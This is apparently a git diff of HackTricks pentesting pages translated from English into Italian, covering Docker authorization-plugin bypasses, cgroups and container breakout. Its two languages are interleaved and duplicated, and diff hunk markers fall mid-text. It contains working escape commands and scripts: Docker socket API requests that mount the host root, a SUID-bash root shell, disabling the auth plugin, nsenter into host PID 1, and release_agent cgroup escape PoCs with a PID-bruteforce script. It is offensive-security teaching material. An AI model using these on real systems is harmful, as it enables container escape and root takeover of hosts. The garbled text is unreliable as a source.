You can find an **easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
Puoi trovare un **plugin facile da capire** con informazioni dettagliate su installazione e debug qui: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
Read the `README` and the `plugin.go` code to understand how is it working.
Leggi il `README` e il codice di `plugin.go` per capire come funziona.
# Docker Auth Plugin Bypass
# Bypass del Plugin di Autenticazione Docker
## Enumerate access
## Enumerare l'accesso
The main things to check are the **which endpoints are allowed** and **which values of HostConfig are allowed**.
Le principali cose da controllare sono **quali endpoint sono consentiti** e **quali valori di HostConfig sono consentiti**.
To perform this enumeration you can **use the tool** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.**
Per eseguire questa enumerazione puoi **utilizzare lo strumento** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.**
## disallowed `run --privileged`
### Minimum Privileges
## `run --privileged` non consentito
### Privilegi Minimi
```bash
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
```
### Eseguire un contenitore e poi ottenere una sessione privilegiata
### Running a container and then getting a privileged session
In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container:
In questo caso, l'amministratore di sistema **ha vietato agli utenti di montare volumi e di eseguire contenitori con il flag `--privileged`** o di dare ulteriori capacità al contenitore:
```bash
docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.
```
However, a user can **create a shell inside the running container and give it the extra privileges**:
Tuttavia, un utente può **creare una shell all'interno del container in esecuzione e darle i privilegi extra**:
```bash
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
@ -81,42 +76,38 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
```
Ora, l'utente può uscire dal contenitore utilizzando una delle [**tecniche precedentemente discusse**](./#privileged-flag) e **escalare i privilegi** all'interno dell'host.
Now, the user can escape from the container using any of the [**previously discussed techniques**](./#privileged-flag) and **escalate privileges** inside the host.
## Mount Writable Folder
In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder:
## Montare una Cartella Scrivibile
In questo caso, l'amministratore di sistema **ha vietato agli utenti di eseguire contenitori con il flag `--privileged`** o di dare qualsiasi capacità extra al contenitore, e ha solo permesso di montare la cartella `/tmp`:
```bash
host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root
-p #This will give you a shell as root
```
> [!NOTE]
> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null`
> Nota che potresti non essere in grado di montare la cartella `/tmp`, ma puoi montare una **differente cartella scrivibile**. Puoi trovare directory scrivibili usando: `find / -writable -type d 2>/dev/null`
>
> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.
> **Nota che non tutte le directory in una macchina linux supportano il bit suid!** Per controllare quali directory supportano il bit suid esegui `mount | grep -v "nosuid"` Ad esempio, di solito `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` e `/var/lib/lxcfs` non supportano il bit suid.
>
> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`)
> Nota anche che se puoi **montare `/etc`** o qualsiasi altra cartella **contenente file di configurazione**, potresti modificarli dal container docker come root per **abusarne nell'host** e ottenere privilegi elevati (magari modificando `/etc/shadow`)
## Unchecked API Endpoint
## Endpoint API non controllato
The responsibility of the sysadmin configuring this plugin would be to control which actions and with which privileges each user can perform. Therefore, if the admin takes a **blacklist** approach with the endpoints and the attributes he might **forget some of them** that could allow an attacker to **escalate privileges.**
La responsabilità dell'amministratore di sistema che configura questo plugin sarebbe quella di controllare quali azioni e con quali privilegi ogni utente può eseguire. Pertanto, se l'amministratore adotta un approccio di **blacklist** con gli endpoint e gli attributi, potrebbe **dimenticarne alcuni** che potrebbero consentire a un attaccante di **escalare i privilegi.**
You can check the docker API in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
Puoi controllare l'API docker in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
## Unchecked JSON Structure
## Struttura JSON non controllata
### Binds in root
It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Binds**".\
In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host:
È possibile che quando l'amministratore di sistema ha configurato il firewall docker, abbia **dimenticato qualche parametro importante** dell'[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) come "**Binds**".\
Nell'esempio seguente è possibile abusare di questa misconfigurazione per creare ed eseguire un container che monta la cartella root (/) dell'host:
```bash
docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
@ -126,38 +117,30 @@ docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem
```
> [!WARNING]
> Note how in this example we are using the **`Binds`** param as a root level key in the JSON but in the API it appears under the key **`HostConfig`**
> Nota come in questo esempio stiamo usando il **`Binds`** param come una chiave di livello root nel JSON ma nell'API appare sotto la chiave **`HostConfig`**
### Binds in HostConfig
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
Segui le stesse istruzioni come con **Binds in root** eseguendo questa **richiesta** all'API Docker:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
```
### Mounts in root
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
Segui le stesse istruzioni di **Binds in root** eseguendo questa **richiesta** all'API Docker:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
```
### Mounts in HostConfig
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
Segui le stesse istruzioni di **Binds in root** eseguendo questa **richiesta** all'API Docker:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
```
## Attributo JSON non controllato
## Unchecked JSON Attribute
It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS_MODULE** capability:
È possibile che quando l'amministratore di sistema ha configurato il firewall di docker **si sia dimenticato di qualche attributo importante di un parametro** dell'[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) come "**Capabilities**" all'interno di "**HostConfig**". Nel seguente esempio è possibile abusare di questa misconfigurazione per creare ed eseguire un container con la capacità **SYS_MODULE**:
```bash
docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
@ -167,14 +150,12 @@ docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability
```
> [!NOTE]
> The **`HostConfig`** is the key that usually contains the **interesting** **privileges** to escape from the container. However, as we have discussed previously, note how using Binds outside of it also works and may allow you to bypass restrictions.
> Il **`HostConfig`** è la chiave che di solito contiene i **privilegi** **interessanti** per sfuggire dal container. Tuttavia, come abbiamo discusso in precedenza, nota come l'uso di Binds al di fuori di esso funzioni anche e possa permetterti di aggirare le restrizioni.
## Disabling Plugin
If the **sysadmin** **forgotten** to **forbid** the ability to **disable** the **plugin**, you can take advantage of this to completely disable it!
## Disabilitare il Plugin
Se il **sysadmin** si è **dimenticato** di **vietare** la possibilità di **disabilitare** il **plugin**, puoi approfittarne per disabilitarlo completamente!
```bash
docker plugin list #Enumerate plugins
@ -186,10 +167,9 @@ docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot
```
Ricorda di **riattivare il plugin dopo l'escalation**, o un **riavvio del servizio docker non funzionerà**!
Remember to **re-enable the plugin after escalating**, or a **restart of docker service wont work**!
## Auth Plugin Bypass writeups
## Scritture di bypass del plugin di autenticazione
- [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/)

View File

@ -2,18 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informazioni di Base
**Linux Control Groups**, or **cgroups**, are a feature of the Linux kernel that allows the allocation, limitation, and prioritization of system resources like CPU, memory, and disk I/O among process groups. They offer a mechanism for **managing and isolating the resource usage** of process collections, beneficial for purposes such as resource limitation, workload isolation, and resource prioritization among different process groups.
**Linux Control Groups**, o **cgroups**, sono una funzionalità del kernel Linux che consente l'allocazione, la limitazione e la priorità delle risorse di sistema come CPU, memoria e I/O del disco tra gruppi di processi. Offrono un meccanismo per **gestire e isolare l'uso delle risorse** delle collezioni di processi, utile per scopi come la limitazione delle risorse, l'isolamento del carico di lavoro e la priorità delle risorse tra diversi gruppi di processi.
There are **two versions of cgroups**: version 1 and version 2. Both can be used concurrently on a system. The primary distinction is that **cgroups version 2** introduces a **hierarchical, tree-like structure**, enabling more nuanced and detailed resource distribution among process groups. Additionally, version 2 brings various enhancements, including:
Ci sono **due versioni di cgroups**: versione 1 e versione 2. Entrambe possono essere utilizzate contemporaneamente su un sistema. La principale distinzione è che **cgroups versione 2** introduce una **struttura gerarchica, simile a un albero**, che consente una distribuzione delle risorse più sfumata e dettagliata tra i gruppi di processi. Inoltre, la versione 2 porta vari miglioramenti, tra cui:
In addition to the new hierarchical organization, cgroups version 2 also introduced **several other changes and improvements**, such as support for **new resource controllers**, better support for legacy applications, and improved performance.
Oltre alla nuova organizzazione gerarchica, cgroups versione 2 ha anche introdotto **diverse altre modifiche e miglioramenti**, come il supporto per **nuovi controller delle risorse**, un migliore supporto per le applicazioni legacy e prestazioni migliorate.
Overall, cgroups **version 2 offers more features and better performance** than version 1, but the latter may still be used in certain scenarios where compatibility with older systems is a concern.
You can list the v1 and v2 cgroups for any process by looking at its cgroup file in /proc/\<pid>. You can start by looking at your shells cgroups with this command:
In generale, cgroups **versione 2 offre più funzionalità e migliori prestazioni** rispetto alla versione 1, ma quest'ultima può ancora essere utilizzata in determinate situazioni in cui la compatibilità con sistemi più vecchi è una preoccupazione.
Puoi elencare i cgroups v1 e v2 per qualsiasi processo guardando il suo file cgroup in /proc/\<pid>. Puoi iniziare a guardare i cgroups della tua shell con questo comando:
```shell-session
$ cat /proc/self/cgroup
12:rdma:/
@ -28,63 +27,56 @@ $ cat /proc/self/cgroup
1:name=systemd:/user.slice/user-1000.slice/session-2.scope
0::/user.slice/user-1000.slice/session-2.scope
```
La struttura dell'output è la seguente:
The output structure is as follows:
- **Numeri 212**: cgroups v1, con ogni riga che rappresenta un diverso cgroup. I controller per questi sono specificati accanto al numero.
- **Numero 1**: Anche cgroups v1, ma esclusivamente per scopi di gestione (impostato da, ad esempio, systemd), e privo di un controller.
- **Numero 0**: Rappresenta cgroups v2. Non sono elencati controller, e questa riga è esclusiva nei sistemi che eseguono solo cgroups v2.
- I **nomi sono gerarchici**, somigliando a percorsi di file, indicando la struttura e la relazione tra diversi cgroups.
- **Nomi come /user.slice o /system.slice** specificano la categorizzazione dei cgroups, con user.slice tipicamente per le sessioni di accesso gestite da systemd e system.slice per i servizi di sistema.
- **Numbers 212**: cgroups v1, with each line representing a different cgroup. Controllers for these are specified adjacent to the number.
- **Number 1**: Also cgroups v1, but solely for management purposes (set by, e.g., systemd), and lacks a controller.
- **Number 0**: Represents cgroups v2. No controllers are listed, and this line is exclusive on systems only running cgroups v2.
- The **names are hierarchical**, resembling file paths, indicating the structure and relationship between different cgroups.
- **Names like /user.slice or /system.slice** specify the categorization of cgroups, with user.slice typically for login sessions managed by systemd and system.slice for system services.
### Visualizzazione dei cgroups
### Viewing cgroups
The filesystem is typically utilized for accessing **cgroups**, diverging from the Unix system call interface traditionally used for kernel interactions. To investigate a shell's cgroup configuration, one should examine the **/proc/self/cgroup** file, which reveals the shell's cgroup. Then, by navigating to the **/sys/fs/cgroup** (or **`/sys/fs/cgroup/unified`**) directory and locating a directory that shares the cgroup's name, one can observe various settings and resource usage information pertinent to the cgroup.
Il filesystem è tipicamente utilizzato per accedere ai **cgroups**, divergendo dall'interfaccia delle chiamate di sistema Unix tradizionalmente utilizzata per le interazioni con il kernel. Per investigare la configurazione del cgroup di una shell, si dovrebbe esaminare il file **/proc/self/cgroup**, che rivela il cgroup della shell. Poi, navigando nella directory **/sys/fs/cgroup** (o **`/sys/fs/cgroup/unified`**) e localizzando una directory che condivide il nome del cgroup, si possono osservare varie impostazioni e informazioni sull'uso delle risorse pertinenti al cgroup.
![Cgroup Filesystem](<../../../images/image (1128).png>)
The key interface files for cgroups are prefixed with **cgroup**. The **cgroup.procs** file, which can be viewed with standard commands like cat, lists the processes within the cgroup. Another file, **cgroup.threads**, includes thread information.
I file di interfaccia chiave per i cgroups sono prefissati con **cgroup**. Il file **cgroup.procs**, che può essere visualizzato con comandi standard come cat, elenca i processi all'interno del cgroup. Un altro file, **cgroup.threads**, include informazioni sui thread.
![Cgroup Procs](<../../../images/image (281).png>)
Cgroups managing shells typically encompass two controllers that regulate memory usage and process count. To interact with a controller, files bearing the controller's prefix should be consulted. For instance, **pids.current** would be referenced to ascertain the count of threads in the cgroup.
I cgroups che gestiscono le shell tipicamente comprendono due controller che regolano l'uso della memoria e il conteggio dei processi. Per interagire con un controller, si dovrebbero consultare i file che portano il prefisso del controller. Ad esempio, **pids.current** sarebbe consultato per accertare il conteggio dei thread nel cgroup.
![Cgroup Memory](<../../../images/image (677).png>)
The indication of **max** in a value suggests the absence of a specific limit for the cgroup. However, due to the hierarchical nature of cgroups, limits might be imposed by a cgroup at a lower level in the directory hierarchy.
L'indicazione di **max** in un valore suggerisce l'assenza di un limite specifico per il cgroup. Tuttavia, a causa della natura gerarchica dei cgroups, i limiti potrebbero essere imposti da un cgroup a un livello inferiore nella gerarchia delle directory.
### Manipulating and Creating cgroups
Processes are assigned to cgroups by **writing their Process ID (PID) to the `cgroup.procs` file**. This requires root privileges. For instance, to add a process:
### Manipolazione e Creazione di cgroups
I processi sono assegnati ai cgroups **scrivendo il loro ID di processo (PID) nel file `cgroup.procs`**. Questo richiede privilegi di root. Ad esempio, per aggiungere un processo:
```bash
echo [pid] > cgroup.procs
```
Similarly, **modifying cgroup attributes, like setting a PID limit**, is done by writing the desired value to the relevant file. To set a maximum of 3,000 PIDs for a cgroup:
Allo stesso modo, **modificare gli attributi del cgroup, come impostare un limite di PID**, viene fatto scrivendo il valore desiderato nel file pertinente. Per impostare un massimo di 3.000 PID per un cgroup:
```bash
echo 3000 > pids.max
```
**Creare nuovi cgroups** comporta la creazione di una nuova sottodirectory all'interno della gerarchia cgroup, il che spinge il kernel a generare automaticamente i file di interfaccia necessari. Anche se i cgroups senza processi attivi possono essere rimossi con `rmdir`, sii consapevole di alcune restrizioni:
**Creating new cgroups** involves making a new subdirectory within the cgroup hierarchy, which prompts the kernel to automatically generate necessary interface files. Though cgroups without active processes can be removed with `rmdir`, be aware of certain constraints:
- **Processes can only be placed in leaf cgroups** (i.e., the most nested ones in a hierarchy).
- **A cgroup cannot possess a controller absent in its parent**.
- **Controllers for child cgroups must be explicitly declared** in the `cgroup.subtree_control` file. For example, to enable CPU and PID controllers in a child cgroup:
- **I processi possono essere collocati solo in cgroups foglia** (cioè, i più annidati in una gerarchia).
- **Un cgroup non può possedere un controller assente nel suo genitore**.
- **I controller per i cgroups figli devono essere dichiarati esplicitamente** nel file `cgroup.subtree_control`. Ad esempio, per abilitare i controller CPU e PID in un cgroup figlio:
```bash
echo "+cpu +pids" > cgroup.subtree_control
```
Il **root cgroup** è un'eccezione a queste regole, consentendo il posizionamento diretto dei processi. Questo può essere utilizzato per rimuovere i processi dalla gestione di systemd.
The **root cgroup** is an exception to these rules, allowing direct process placement. This can be used to remove processes from systemd management.
**Monitorare l'uso della CPU** all'interno di un cgroup è possibile attraverso il file `cpu.stat`, che mostra il tempo totale di CPU consumato, utile per tracciare l'uso tra i subprocessi di un servizio:
**Monitoring CPU usage** within a cgroup is possible through the `cpu.stat` file, displaying total CPU time consumed, helpful for tracking usage across a service's subprocesses:
<figure><img src="../../../images/image (908).png" alt=""><figcaption><p>Statistiche sull'uso della CPU come mostrato nel file cpu.stat</p></figcaption></figure>
<figure><img src="../../../images/image (908).png" alt=""><figcaption><p>CPU usage statistics as shown in the cpu.stat file</p></figcaption></figure>
## Riferimenti
## References
- **Book: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward**
- **Libro: Come funziona Linux, 3ª edizione: Cosa ogni superutente dovrebbe sapere di Brian Ward**
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,35 +2,24 @@
{{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
## Enumerazione Automatica & Fuga
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Può anche **enumerare i container**
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Questo strumento è piuttosto **utile per enumerare il container in cui ti trovi e persino provare a fuggire automaticamente**
- [**amicontained**](https://github.com/genuinetools/amicontained): Strumento utile per ottenere i privilegi che il container ha per trovare modi per fuggire da esso
- [**deepce**](https://github.com/stealthcopter/deepce): Strumento per enumerare e fuggire dai container
- [**grype**](https://github.com/anchore/grype): Ottieni le CVE contenute nel software installato nell'immagine
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
## Automatic Enumeration & Escape
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers**
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically**
- [**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it
- [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers
- [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image
## Mounted Docker Socket Escape
If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\
This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.
## Fuga dal Socket Docker Montato
Se in qualche modo scopri che il **socket docker è montato** all'interno del container docker, sarai in grado di fuggire da esso.\
Questo di solito accade nei container docker che per qualche motivo devono connettersi al demone docker per eseguire azioni.
```bash
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
```
In this case you can use regular docker commands to communicate with the docker daemon:
In questo caso puoi utilizzare i comandi docker regolari per comunicare con il demone docker:
```bash
#List images to use one
docker images
@ -44,14 +33,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
> [!NOTE]
> Nel caso in cui il **docker socket si trovi in un luogo inaspettato**, puoi comunque comunicare con esso utilizzando il comando **`docker`** con il parametro **`-H unix:///path/to/docker.sock`**
Il daemon Docker potrebbe anche [ascoltare su una porta (di default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) o su sistemi basati su Systemd, la comunicazione con il daemon Docker può avvenire tramite il socket Systemd `fd://`.
> [!NOTE]
> In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`**
Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`.
> [!NOTE]
> Additionally, pay attention to the runtime sockets of other high-level runtimes:
> Inoltre, presta attenzione ai socket di runtime di altri runtime di alto livello:
>
> - dockershim: `unix:///var/run/dockershim.sock`
> - containerd: `unix:///run/containerd/containerd.sock`
@ -60,25 +48,23 @@ Docker daemon might be also [listening in a port (by default 2375, 2376)](../../
> - rktlet: `unix:///var/run/rktlet.sock`
> - ...
## Capabilities Abuse Escape
## Abuso delle Capacità per l'Evasione
You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
You can check currently container capabilities using **previously mentioned automatic tools** or:
Dovresti controllare le capacità del container, se ha alcune delle seguenti, potresti essere in grado di evadere: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
Puoi controllare le capacità attuali del container utilizzando **strumenti automatici precedentemente menzionati** o:
```bash
capsh --print
```
In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges:
Nella seguente pagina puoi **scoprire di più sulle capacità di linux** e come abusarne per sfuggire/escale i privilegi:
{{#ref}}
../../linux-capabilities.md
{{#endref}}
## Escape from Privileged Containers
## Fuga da Contenitori Privilegiati
A privileged container can be created with the flag `--privileged` or disabling specific defenses:
Un contenitore privilegiato può essere creato con il flag `--privileged` o disabilitando specifiche difese:
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
@ -90,51 +76,44 @@ A privileged container can be created with the flag `--privileged` or disabling
- `--cgroupns=host`
- `Mount /dev`
The `--privileged` flag significantly lowers container security, offering **unrestricted device access** and bypassing **several protections**. For a detailed breakdown, refer to the documentation on `--privileged`'s full impacts.
Il flag `--privileged` riduce significativamente la sicurezza del contenitore, offrendo **accesso illimitato ai dispositivi** e bypassando **diverse protezioni**. Per una spiegazione dettagliata, fai riferimento alla documentazione sugli impatti completi di `--privileged`.
{{#ref}}
../docker-privileged.md
{{#endref}}
### Privileged + hostPID
### Privilegiato + hostPID
With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Test it in a container executing:
Con questi permessi puoi semplicemente **spostarti nello spazio dei nomi di un processo in esecuzione nell'host come root** come init (pid:1) eseguendo semplicemente: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Testalo in un contenitore eseguendo:
```bash
docker run --rm -it --pid=host --privileged ubuntu bash
```
### Privilegiato
### Privileged
Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release_agent or other escapes**.
Test the following bypasses in a container executing:
Solo con il flag privilegiato puoi provare ad **accedere al disco dell'host** o provare a **fuggire abusando di release_agent o altri escape**.
Testa i seguenti bypass in un container eseguendo:
```bash
docker run --rm -it --privileged ubuntu bash
```
#### Montaggio Disco - Poc1
#### Mounting Disk - Poc1
Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive.
Container docker ben configurati non permetteranno comandi come **fdisk -l**. Tuttavia, su comandi docker mal configurati dove è specificato il flag `--privileged` o `--device=/dev/sda1` con maiuscole, è possibile ottenere i privilegi per vedere l'unità host.
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
So to take over the host machine, it is trivial:
Quindi, per prendere il controllo della macchina host, è banale:
```bash
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
```
E voilà! Ora puoi accedere al filesystem dell'host perché è montato nella cartella `/mnt/hola`.
And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder.
#### Mounting Disk - Poc2
Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
#### Montaggio Disco - Poc2
All'interno del container, un attaccante può tentare di ottenere ulteriore accesso al sistema operativo host sottostante tramite un volume hostPath scrivibile creato dal cluster. Di seguito ci sono alcune cose comuni che puoi controllare all'interno del container per vedere se puoi sfruttare questo vettore di attacco:
```bash
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger
@ -155,9 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
### debugfs (Interactive File System Debugger)
debugfs /dev/sda1
```
#### Privileged Escape Abusing existent release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
#### Privileged Escape Abusare dell'esistente release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
```bash:Initial PoC
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
@ -191,9 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# Reads the output
cat /o
```
#### Privileged Escape Abusing created release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
```bash:Second PoC
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
@ -235,21 +210,19 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
Find an **explanation of the technique** in:
Trova un **spiegazione della tecnica** in:
{{#ref}}
docker-release_agent-cgroups-escape.md
{{#endref}}
#### Privileged Escape Abusing release_agent without known the relative path - PoC3
#### Privileged Escape Abusando di release_agent senza conoscere il percorso relativo - PoC3
In the previous exploits the **absolute path of the container inside the hosts filesystem is disclosed**. However, this isnt always the case. In cases where you **dont know the absolute path of the container inside the host** you can use this technique:
Negli exploit precedenti, il **percorso assoluto del container all'interno del filesystem dell'host è rivelato**. Tuttavia, questo non è sempre il caso. Nei casi in cui **non conosci il percorso assoluto del container all'interno dell'host**, puoi utilizzare questa tecnica:
{{#ref}}
release_agent-exploit-relative-paths-to-pids.md
{{#endref}}
```bash
#!/bin/sh
@ -288,20 +261,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
@ -309,9 +282,7 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
Executing the PoC within a privileged container should provide output similar to:
Eseguire il PoC all'interno di un contenitore privilegiato dovrebbe fornire un output simile a:
```bash
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
@ -339,19 +310,18 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
```
#### Privileged Escape Abusing Sensitive Mounts
There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\
The abuse of these files may allow that:
